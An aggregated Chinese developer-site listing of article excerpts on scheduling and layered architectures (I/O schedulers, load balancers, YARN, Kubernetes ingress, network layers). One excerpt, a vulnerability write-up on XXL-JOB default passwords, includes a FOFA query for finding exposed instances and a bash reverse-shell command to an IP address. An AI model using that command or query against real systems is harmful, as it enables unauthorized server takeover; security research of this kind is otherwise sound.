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Linux IO 调度层总结
I/O调度算法，也称I/O调度策略。 前言 现代计算机体系中，硬盘是数据存储的持久化介质，硬盘的访问速度相比内存存在数量级的差距，因此有效的调度能更好利用资源，优化响应。 和CPU调度算法相似,调度的本质是对请求排序。在Linux系统中，这由I/O调度层负责。 在I/O调度之前，如果多个I/O在同一个sector中，或者是相邻sector。 这是在Block层处理的，可以设置开启或关闭。 算法 Linus电梯 早期Linux的I/O调度算法被称之为电梯算法。 特点：继承Deadline scheduler算法，在处理完一个I/O请求之后会等待6ms（默认），如果此时有当前扇区相邻的请求，则直接处理这个请求。等待时间结束后才会去处理原本的下一个请求。 缺点：每次I/O完成后，都需要6ms的延时。 CFQ（Completely Fair Queuing） 完全公平队列算法，当前linux系统默认调度算法。 特点：按照优先级分组，优先处理高优先级。
2K40编辑于 2022-11-02 - 来自专栏labuladong的算法专栏
时间调度问题的千层套路
对于这种时间安排的问题，本质上讲就是区间调度问题，十有八九得排序，然后找规律来解决。 题目延伸 我们之前写过很多区间调度相关的文章，这里就顺便帮大家梳理一下这类问题的思路： 第一个场景，假设现在只有一个会议室，还有若干会议，你如何将尽可能多的会议安排到这个会议室里？
1.5K20发布于 2021-09-23 - 来自专栏黯羽轻扬
为什么没有 5 层、6 层负载均衡？
前端向后」微信公众号，你将收获一系列「用心原创」的高质量技术文章，主题包括但不限于前端、Node.js以及服务端技术 零.从横向扩展说起 从单机扩展到多机，面临的第一个问题就是这些机器如何协同工作，即如何调度请求 ），调度器（Dispatcher）即负载均衡器（Load balancer）： ? 有助于： 防止请求到达不可用的服务器 防止资源过载 消除单点故障，提升可用性 此外，还可以用于： SSL termination：处理 SSL 连接，将加密解密的工作前置到调度层 会话保留（Session persistence）：集中处理会话，避免切换服务器造成会话状态丢失 也就是说，多机场景下，必须要有一个负责分发/调度请求的负载均衡器，那么，接下来的问题是应该在哪一层实现负载均衡机制 二.实现思路 TCP、UDP 等传输协议，具体工作包括 会话层（第 5 层）：负责管理会话，以支持通过多次传输连续交换信息 表现层（第 6 层）：将来自网络服务的数据翻译成应用层可用的格式，具体工作包括字符编码转换
1.2K10发布于 2020-02-17 - 来自专栏架构师修炼
【分布式技术】分布式系统调度架构之两层调度，解决单体调度问题
正是因为单体调度的一些缺陷，所以聪明的程序员们就想出了一个两层调度来解决这种问题。 01 什么是两层调度？ 两层调度就是将资源和任务分开调度，也就是说其中一层调度器做资源的管理和分配，另一层调度器则负责任务与资源的匹配。 资源的使用状态同时由中央调度器和第二层调度器管理，中央调度器从全局上进行资源的管理和分配，然后将资源分配到第二层调度器，接着第二层调度器就可以进行任务和资源的匹配。 这两层调度器的职责分别是: 第一层调度器负责管理资源同时像框架去分配资源 第二层调度器接收第一层调度器分配来的资源，然后根据实际任务情况和收到的资源进行匹配 有哪些项目都采用了两层调度结构呢？ 2x+6y≤18 8x+2y≤36 8x/36=6y/18 通过求解可以得出：x=3，即 Framework A 可以运行 3 个任务；y=2，即 Framework B 可以运行 2 个任务。
2.6K11发布于 2020-07-17 - 来自专栏刷题笔记
7-6 列车调度 (25 分)
本文链接：https://blog.csdn.net/shiliang97/article/details/98481886 7-6 列车调度 (25 分) 火车站的列车调度铁轨的结构如下图所示。 在图中有9趟列车，在入口处按照{8，4，2，5，3，9，1，6，7}的顺序排队等待进入。如果要求它们必须按序号递减的顺序从出口离开，则至少需要多少条平行铁轨用于调度？ 输入样例： 9 8 4 2 5 3 9 1 6 7 输出样例： 4 我和这个大佬?遇到的问题一样，超时了。。。。 7-6 列车调度 (25 分) - mumu - CSDN博客 这个问题分析起来挺简单的。我想的是整一个数组，比前面大的小，就把大的换成这个小的，比前面的大就存到下一个。
1.2K10发布于 2019-11-08 - 来自专栏CreateAMind
keras doc 6 卷积层Convolutional
当需要在该层后连接Flatten层，然后又要连接Dense层时，需要指定该参数，否则全连接的输出无法计算出来。 当需要在该层后连接Flatten层，然后又要连接Dense层时，需要指定该参数，否则全连接的输出无法计算出来。 ，当使用该层作为第一层时，应提供input_shape参数。 当使用该层作为第一层时，应提供input_shape参数。 例如，将具有该卷积层输出shape的tensor转换为具有该卷积层输入shape的tensor。，同时保留与卷积层兼容的连接模式。 当使用该层作为第一层时，应提供input_shape参数。
2.1K20发布于 2018-07-25 - 来自专栏开源部署
Nginx七层负载均衡的几种调度算法
由于支持强大的正则匹配规则、动静分离、URLrewrite功能及安装配置简单且对网络稳定性依赖非常小等优点，所以常用来做为七层负载均衡使用。 以下是Nginx作为七层负载均衡常用的几种调度算法和适用的业务场景 1、轮询（默认调度算法） 特点：每个请求按时间顺序逐一分配到不同的后端服务器处理。 192.168.0.14:80 max_fails=2 fail_timeout=10s; server 192.168.0.15:80 max_fails=2 fail_timeout=10s; } 6、
71920编辑于 2022-08-08 - 来自专栏计算机学习
xv6(16) 进程二:调度算法
进程二:调度算法 调度是操作系统里面一个很重要的概念，进程中有调度，页面置换有调度，磁盘访问也有调度，本文讲述的是进程之间的调度，以及多处理器之间的调度策略。 调度算法 先来先服务 维护一个队列，按照进程/作业进入队列的先后次序调度，先进入先调度，后进入后调度。 /进程调度。 抢占式：处理器分配给队列中某优先级最高的进程后，在执行的过程中如果来了一个优先级更高的进程，调度程序则停止当前进程的执行转去调度新来的那个优先级更高的进程。 队列之间的调度相互独立，可不再使用锁机制，可扩展性增强，比如每个队列可使用不同的调度算法。 所有的任务工作都能在固定的 CPU 上执行，能够很好的利用缓存数据。
84910编辑于 2023-12-07 - 来自专栏云前端
复用 Vue 组件的 6 层手段
原文：https://michaelnthiessen.com/6-levels-of-reusability/? 我认为复用性有 6 中不同的层级，这里大体上来看一下： 1. 模版化 不同于将代码随处复制/粘贴的是，借助模版化可以将其包裹在组件内部。 但我们已经有了多种扩展这个组件的选项了： 只是覆写 default slot 来显示内容 显示默认内容，并增添 header slot 部分 显示默认内容，并增添 footer slot 以显示几个按钮 显示所有 slots 的内容 6. 嵌套 如果我们将“扩展点”逐层传递，就能达到最终目的。这乍听起来有点繁琐，但确实有用，特别是在大型应用的环境中。 总结 本文列出了复用 Vue 组件的 6 层手段。这说不上是全部，或许还有其它手段，但已经足够实用了。
52630发布于 2020-07-02 - 来自专栏进步集
【网络层】DHCP协议（应用层）、ICMP、IPv6详解
注：最后有面试挑战，看看自己掌握了吗 文章 DHCP------DHCP服务器来动态分配IP--------应用层协议----允许地址重用 ICMP字段----差错报文、询问报文 差错报文-----终点不可达无法交付 ------Traceroute-----跟踪一个分组从源点到终点的路径-------使用了ICMP时间超过差错报告报文-----用不断增加的TTL来做 桥梁作用------差错报告、网络探寻 IPv6- 0一对冒号取代 IPv6基本地址类型-------单播1:1------多播1:N---------任播1:多中的一个 IPV6过度向IPV4策略 双栈协议------同时启用两者-------如果是路由器 特别鸣谢：木芯工作室 、Ivan from Russia ---- DHCP------DHCP服务器来动态分配IP--------应用层协议----允许地址重用 获得IP的方法------静态配置 -------单播1:1------多播1:N---------任播1:多中的一个 IPV6过度向IPV4策略 双栈协议------同时启用两者-------如果是路由器，就可以实现V6和V4地址转换
1.2K20编辑于 2022-12-30 - 来自专栏智能仓储物流技术研习社
子母车在智能密集存储中换层与调度策略
本文通过优化物流规划方案,子母车设备可互通换层,即通过子母车换层提升机实现将任意层的子母车设备调度转运到任意货架层,再完成该层的入出库作业。 1）固定分配原则,此方式是较简单的分配作业方式,一套子母车设备只进行固定两层的入出库任务执行,即平均分配4台子母车固定初始位置为1,3,5,7层,子母车1,2,3,4号依次控制1、2层,3、4层,5、6 图6 子母车固定分配示意及流程图 图7 子母车就近分配示意及流程图 根据图7所示,就近分配原则下,中间层有入出库作业时,可灵活调度上下两层子母车设备来执行该层的入出库的任务,对比固定式分配方式增加了调度的灵活性 对比之前两种方式设备调度更加灵活,但是未考虑高层换至低层换层时间。 通过有优化机械设计、电控及调度设计满足了密集存储系统中的子母车设备能够调度到任意层,并实现产品的入出库作业。
73230编辑于 2023-10-09 - 来自专栏腾讯云原生团队
TKE qGPU 通过两层调度解决 GPU 资源碎片问题
为了解决该资源碎片问题，为用户提供更好、更细粒度的调度能力，TKE qGPU 设计了两层调度方案，用户可以在节点和 GPU 卡两个维度灵活配置不同调度策略，从而进一步提升资源分配效率。 节点 / GPU 两层调度 TKE qGPU Scheduler 支持节点和 GPU 卡两个层面的调度，每个调度层级均支持 binpack 或者 spread 策略，通过不同层的调度策略组合，更好的贴合用户场景 节点调度 TKE qGPU 定义了算力和显存两种 GPU 资源。TKE qGPU 调度器将每张卡算力切分成 100 份，每个算力单位代表 1% 整卡算力。显存为 MB 级切分。 在预选阶段，qGPU Scheduler 会遍历每个节点找到最合适的 GPU 卡进行调度，具体由 GPU 卡调度器决策。在优选阶段，qGPU Scheduler 会根据两个资源分配率的加权平均打分。 Spread：GPU 分配率越高，打分越低，Pod 分散调度到各个节点。 GPU 卡调度 GPU 卡调度是指在选定节点后进行卡维度的分配决策，为 Pod 中每个容器选择和分配节点上的 GPU 卡。
2.5K20编辑于 2022-05-30 - 来自专栏懒人的运维备忘录
七层调度：ingress 资源及 Ingress Controller 控制器
apply -f mandatory.yaml kubectl apply -f service-nodeport.yaml 绑定 node 节点 （可选） 目前 ingress-controller 会被调度器分配到某一个节点 READY STATUS RESTARTS AGE nginx-ingress-controller-56bcc7fc88-v6c8f --target-port=80 --type=NodePort # 检查 kubectl get svc [1606727005469-957590b0-23b7-432b-9d9c-68fb6dcd7a3f.jpeg
2.2K40发布于 2020-11-30 - 来自专栏世民谈云计算
Neutron 理解 (6): Neutron 虚拟三层网络
Neutron 对虚拟三层网络的实现是通过其 L3 Agent （neutron-l3-agent）。 基础知识 1.1 Linux network namespace 1.1.1 概念和操作 在二层网络上，VLAN 可以将一个物理交换机分割成几个独立的虚拟交换机。 类似地，在三层网络上，Linux network namespace（netns） 可以将一个物理三层网络分割成几个独立的虚拟三层网络。 -i qg-3c8d6a68-97 ! -o qg-3c8d6a68-97 -m conntrack ! -i qg-3c8d6a68-97 ! -o qg-3c8d6a68-97 -m conntrack !
1.5K30发布于 2019-06-28 - 来自专栏企鹅号快讯
区块链学堂——浅析区块链6层协议
传统的OSI网络协议被分为7层：物理层(PH)、数据链路层(DL)、网络层(N)、传输层(T)、会话层(S)、表示层(P)、应用层(A)。 类似的，区块链基础架构分为6层：包括数据层、网络层、共识层、激励层、合约层、应用层。因为每一层都涉及到较新的技术原理和专业名词解释，本篇只从理解概念的角度出发描绘一下区块链的模型结构构成。 合约层：因为区块链每个区块可编程、可嵌入代码的特性，合约层包含了脚本、算法、以及智能合约，可以简单的理解为是一份自定义的电子合同，之所以称为智能合约，是因为这份合约可以在达到约束条件自动触发执行，不需人工干预 应用层：和传统的OSI网络协议模型应用层一样，封装了各种应用场景和案例，类似于我们日常用的各种网站、APP，比如有社交娱乐，有电商购物，有新闻阅读等各种不同的应用场景。 区块链系统模型的每一层将会诞生新的工作岗位和新的创业机遇，甚至会出现新的行业巨头，其中合约层和应用层对人才的需求量最大。智能合约领域目前最为知名的以太坊（ETC），应用层目前最为知名的非比特币莫属。
4.8K100发布于 2018-01-26 - 来自专栏OneMoreThink的专栏
漏洞研究(6)：XXL-JOB调度中心默认口令漏洞
组件介绍 XXL-JOB是一个分布式任务调度平台，分为调度中心和执行器两部分。 在调度中心添加执行器后，调度中心可以对执行器进行命令执行，属于集权系统，可以帮助攻击者批量获取服务器权限。 如果默认口令未修改，攻击者就能登录调度中心，与执行器进行调度通信，对执行器所在的服务器进行任意命令执行，从而获得执行器所在服务器的权限。 3. 利用方式 FOFA： app="XXL-JOB" || title="任务调度中心" 4.1 Shell脚本 适用于执行器所在服务器的操作系统是具有Shell环境的Linux。 GLUE(Shell IDE) 6. 【编写EXP代码】 1. bash -i >& /dev/tcp/10.58.81.119/1234 0>&1 7. 保存 8. 源码备注 9. 保存 10. 执行一次 6. 保存 4.1.4 查看日志 1. 任务管理 2. 【选择对应执行器】 3. 【选择对应任务】 4. 操作 5. 查询日志 6. 【选择对应日志】 7. 操作 8.
2.6K01编辑于 2025-05-13 - 来自专栏HelloGitHub
趣讲 PowerJob 超强大的调度层，开始表演真正的技术了
PowerJob 项目地址： https://github.com/KFCFans/PowerJob 写在前面的碎碎念：终于到了万众期待的调度层原理了。 那么，是时候表演真正的技术了～ 一、调度层概览 PowerJob 目前支持 4 种定时执行策略，分别是 CRON、固定频率、固定延迟 和 API。 3 个定时任务，分别在 1 秒、6 秒和 13 秒后执行，那么时间轮的工作流程是怎么样的呢？ 五、最后 那么以上就是本篇文章全部的内容啦～ 本篇文章讲述了 PowerJob 调度层的实现与其中一些精巧的设计。 不过限于篇幅，整个调度层其实并没有完全呈现在大家眼前，目前还是犹抱琵琶半遮面的状态～大家最关心的多 server 下任务如何避免重复调度、多 server 如何实现水平的能力扩展本文都没有详细提及，只是简单说了几个字
1.8K20发布于 2021-05-14 - 来自专栏小工匠聊架构
计网 - LVS 是如何直接基于 IP 层进行负载平衡调度
，网络层和传输层由操作负责处理，应用层则是常用的一些网络应用程序和我们自己所编写的网络应用程序。 但是我们完全可以绕过传输层的 TCP 和 UDP，直接使用 IP，比如 Linux 内核中的LVS 就可以直接基于 IP 层进行负载平衡调度； 甚至还可以直接访问链路层，比如 tcpdump程序就是直接和链路层进行通信的 调度器根据这些算法选择目标服务器。 LVS的负载均衡机制初探 LVS（Linux Virtual Server）是一个基于 IP 层的负载平衡解决方案，它通过对数据包的处理来实现负载平衡调度。 下面是 LVS 如何直接基于 IP 层进行负载平衡调度的详细解释： IP 调度算法： LVS 使用 IP 调度算法来决定将客户端请求导向哪个服务器。这通常涉及到目标服务器的 IP 地址和端口号。
48810编辑于 2023-12-13 - 来自专栏Ywrby
6-数据链路层-介质访问控制子层
介质访问控制子层（MAC子层）概述 MAC子层要解决的问题 1. 介质的多路访问控制/介质访问控制MAC 2. /类型 数据 校验和 IEEE 802.3帧格式 62bit(1010…) 2bit(11) 6byte 6byte 2byte(长度) 46~1500byte 4byte-循环冗余校验 DIX以太网帧格式 62bit(1010…) 2bit(10) 6byte 6byte 2byte(类型) 46~1500byte 4byte-循环冗余校验 第一个字段—前导码+帧起始字段 大小为8byte（前导码62bit 内含LLC层（逻辑链路子层）的数据 第六个字段—校验字段 大小4byte，32bit。 ，IPv4, IPv6, AppleTalk, ATM, IPX, 和OSI 分组均可穿越网桥。
3.4K30编辑于 2022-10-27 深入解析Hadoop YARN：三层调度模型与资源管理机制
YARN三层调度模型详解 YARN作为Hadoop 2.0引入的核心组件，其三层调度模型通过分层解耦的设计思想，实现了资源管理和任务调度的专业化分工。 这一模型由资源请求层、资源分配层和任务调度层构成，形成了一套高效协同的工作机制。 资源请求层的运作机制 在资源请求层，ApplicationMaster（AM）扮演着关键角色。 资源分配层的核心逻辑 ResourceManager中的Scheduler组件构成资源分配层的核心。现代YARN版本主要支持三种调度器实现： 1. 6. Hortonworks提出的Yunikorn项目尝试构建统一调度层，但其对原生YARN特性的兼容性仍不完善。 跨云资源调度是另一个标准化难点。
1.2K10编辑于 2025-08-27
腾讯云开发者
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